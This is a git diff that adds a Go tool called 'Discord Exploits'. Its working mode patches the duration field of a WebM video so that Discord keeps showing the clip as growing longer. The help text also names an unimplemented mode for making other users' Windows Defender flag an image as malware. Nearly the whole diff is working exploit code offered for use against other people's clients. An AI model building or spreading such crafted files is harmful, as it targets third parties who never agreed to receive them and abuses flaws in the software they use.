diff --git a/.gitignore b/.gitignore index 66fd13c..31ccabd 100644 --- a/.gitignore +++ b/.gitignore @@ -11,5 +11,8 @@ # Output of the go coverage tool, specifically when used with LiteIDE *.out +# Testing Files used for checking the programs functionality +*.webm + # Dependency directories (remove the comment below to include it) # vendor/ diff --git a/exploits.go b/exploits.go new file mode 100644 index 0000000..80376fd --- /dev/null +++ b/exploits.go @@ -0,0 +1,105 @@ +package main + +import ( + "fmt" + "github.com/Schmenn/discord-exploits/exploits" + "os" + "strings" +) + +var ( + quiet bool = false + inputFile string = "no input file provided" + mode string = "no mode specified" +) + +func main() { + args := os.Args[1:] + handleArgs(args, &quiet) + //fmt.Println(quiet) + if !quiet { + welcome() + //exploits.RunExpandingVideoTask() + } + + fmt.Println(inputFile) + fmt.Println(mode) + + initCommand(inputFile, mode) +} + +func welcome() { + fmt.Println("Discord Exploits --- made by Schmenn") + fmt.Println(" _ _ _") + fmt.Println(" | | (_) |") + fmt.Println(" _____ ___ __ | | ___ _| |_ ___") + fmt.Println(" / _ \\ \\/ / '_ \\| |/ _ \\| | __/ __|") + fmt.Println(" | __/> <| |_) | | (_) | | |_\\__ \\") + fmt.Println(" \\___/_/\\_\\ .__/|_|\\___/|_|\\__|___/") + fmt.Println(" | |") + fmt.Println(" |_|") +} + +func handleArgs(args []string, quiet *bool) { + var skipArg int = 0 +Loop: + if skipArg > 0 { + skipArg = skipArg - 1 + goto Loop + } else { + for i, s := range args { + switch s { + // quiet + case "-q": + *quiet = true + case "--quiet": + *quiet = true + + // Input File + case "-i": + skipArg = skipArg + 1 + inputFile = args[i+1] + + // Mode Selection + case "-m": + skipArg = skipArg + 1 + mode = args[i+1] + + // Help Message + case "-h": + help() + *quiet = true + return + + default: + //fmt.Println("unused argument provided, noone cares tho") + break + } + } + } +} + +func help() { + fmt.Println("Discord-Exploits Help") + fmt.Println("") + fmt.Println("-q doesn't show welcome screen") + fmt.Println("-i provide input file") + fmt.Println("-m provide a mode") + fmt.Println("") + fmt.Println("modes:") + fmt.Println(" expandingvideo takes input video (.webm) and edits it so discord will keep making it longer") + fmt.Println(" virusimage takes an image (.png) and makes other users' windows defender think it's a virus (not yet implemented)") +} + +func initCommand(inputFile string, mode string) { + switch strings.ToLower(mode) { + case "expandingvideo": + if strings.HasSuffix(inputFile, ".webm") { + fmt.Println("editing video.") + exploits.RunExpandingVideoTask(inputFile) + fmt.Println("completed task.") + } else { + fmt.Println("File is not a webm, check -h") + } + } +} diff --git a/exploits/expanding-video.go b/exploits/expanding-video.go new file mode 100644 index 0000000..c2fd67f --- /dev/null +++ b/exploits/expanding-video.go @@ -0,0 +1,53 @@ +package exploits + +import ( + "bytes" + "fmt" + "io/ioutil" + "os" + "math/rand" +) + +// RunExpandingVideoTask edits file +func RunExpandingVideoTask(fileName string) { + + data, err := ioutil.ReadFile(fileName) + check(err) + index := bytes.Index(data, []byte("\x44\x89\x88")) + if index == -1{ + fmt.Println("could not find the part of the file that needs to be modified, exiting") + return + } + + data[index+3] = 63 + data[index+4] = 240 + data[index+5] = 0 + data[index+6] = 0 + data[index+7] = 0 + data[index+8] = 0 + data[index+9] = 0 + data[index+10] = 0 + + name := CreateName("webm") + + fmt.Println(name) + + ioutil.WriteFile(name, data, os.FileMode(int(0777))) + +} + +// CreateName generates a random file name +func CreateName(extension string) string { + charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + b := make([]byte, 6) + for i := range b { + b[i] = charset[rand.Intn(len(charset))] + } + return string(b)+"."+extension +} + +func check(e error) { + if e != nil { + panic(e) + } +} diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..56441f2 --- /dev/null +++ b/go.mod @@ -0,0 +1,3 @@ +module github.com/Schmenn/discord-exploits + +go 1.15